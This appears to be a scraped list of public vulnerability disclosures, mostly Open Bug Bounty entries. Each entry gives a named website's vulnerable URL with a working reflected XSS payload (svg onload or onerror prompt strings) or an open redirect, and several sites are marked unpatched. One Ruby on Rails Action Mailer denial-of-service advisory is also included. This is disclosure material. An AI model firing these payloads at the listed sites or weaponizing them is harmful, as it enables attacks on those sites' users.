actionmailer email address processing causes Denial of service

Multiple format string vulnerabilities in logsubscriber.rb files in the log subscriber component in Action Mailer in Ruby on Rails 3.x before 3.2.15 allow remote attackers to cause a denial of service via a crafted e-mail address that is improperly handled during construction of a log message...

rebrn.com XSS vulnerability

Vulnerable URL: http://rebrn.com/?tag=%22%3E%3Csvg/onload=confirm/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 18.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 56946 VIP website status:| No Coordinated...

nexans.co.kr XSS vulnerability

Vulnerable URL: https://www.nexans.co.kr/Korea/2010/lan575x208-kor.swf?clickTAG=javascript:alertOPENBUGBOUNTY Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 10372952 VIP website status:| No Coordinated Disclosur...

crocodilehunter.com.au XSS vulnerability

Vulnerable URL: http://www.crocodilehunter.com.au/crocodilehunter/newsarticles/2007/index.php?id=13'" Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2481432 VIP website status:| No Coordinated Disclosure Timelin...

tradingsat.com XSS vulnerability

Vulnerable URL: https://www.tradingsat.com/actions-de-a-z/archives-8.html?f=x%22%3E%3CsvG%20onLoad=prompt9%3E==a Details: Description| Value ---|--- Patched:| No Latest check for patch:| 14.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 95911 VIP website...

accordo.it XSS vulnerability

Vulnerable URL: https://www.accordo.it/index.php/site/login?rf=x%22%3E%3CsvG%20onLoad=prompt9%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 68664 VIP website status:| No Coordinated Disclosure Timeline:...

forum.kudo3d.com XSS vulnerability

Vulnerable URL: https://forum.kudo3d.com/email/[email protected]%27%22%3E%3Csvg/onload=alert/openbugbounty/%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website...

schenectadymetroplex.com XSS vulnerability

Vulnerable URL: http://schenectadymetroplex.com/newsArticle.php?id=13'" Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 10455467 VIP website status:| No Coordinated Disclosure Timeline: Description| Value ---|---...

newschannel5.com XSS vulnerability

Vulnerable URL: http://www.newschannel5.com/?token=%22%3E%3Csvg/onload=confirm/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 58722 VIP website status:| No Coordinated Disclosure Timeline:...

duduji.iptime.org XSS vulnerability

Vulnerable URL: http://duduji.iptime.org/apache/youngcart5/bbs/viewimg.php?img=xss%22%20onerror=prompt/openbugbounty/%20%22 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 10.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown /...

red.zzikko.com XSS vulnerability

Vulnerable URL: http://red.zzikko.com/bbs/viewimg.php?img=xss%22%20onerror=prompt/openbugbounty/%20%22 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 10.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP...

fontshop.com XSS vulnerability

Vulnerable URL: https://www.fontshop.com/?message=" Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 49311 VIP website status:| Yes Coordinated Disclosure Timeline: Description| Value ---|--- Vulnerability submitt...

millswear.com XSS vulnerability

Vulnerable URL: https://www.millswear.com/bigGraphic.jsp?path=-1|29675|136430=136452ℑ=x%22%20onerror=prompt%27openbugbounty%27%20%22 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 10.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

climepsi.pt XSS vulnerability

Vulnerable URL: http://www.climepsi.pt/store/products/search?storesearch=%22%3E%3Csvg%2Fonload%3Dprompt%28%2FOPENBUGBOUNTY%2F%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 10.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

mainerealestatechoice.com XSS vulnerability

Vulnerable URL: http://www.mainerealestatechoice.com/m/ourlistingssearch.php?start=13'"41&property-type;=res= Details: Description| Value ---|--- Patched:| No Latest check for patch:| 08.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 3058881 VIP website...

secure.affjet.com Open Redirect vulnerability

Vulnerable URL: https://secure.affjet.com/affjet.quick.links.ajax/redirect?anmid=48=23=https://www.openbugbounty.org Details: Description| Value ---|--- Patched:| No Latest check for patch:| 08.01.2018 Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| Unknow...

chemeurope.com XSS vulnerability

Vulnerable URL: http://www.chemeurope.com/en/news/all.html?country=xss%22%3E%3Csvg%2Fonload%3Dprompt%28%27openbugbounty%27%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 07.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 3646...

ge411.com XSS vulnerability

Vulnerable URL: http://ge411.com/express411/subcategory.php?catid=13'"4 =120id=Mouse Pads & Coasters=1 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 5323732 VIP website status:| No Coordinated Disclosure...

vipremi.pt XSS vulnerability

Vulnerable URL: http://vipremi.pt/pt/produtos//espacadores Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Coordinated Disclosure Timeline: Description| Value...

go-no-go.nl Open Redirect vulnerability

Vulnerable URL: https://www.go-no-go.nl/flashdetection.swf?flashContentURL=https://openbugbounty.org Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 07.01.2018 Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank|...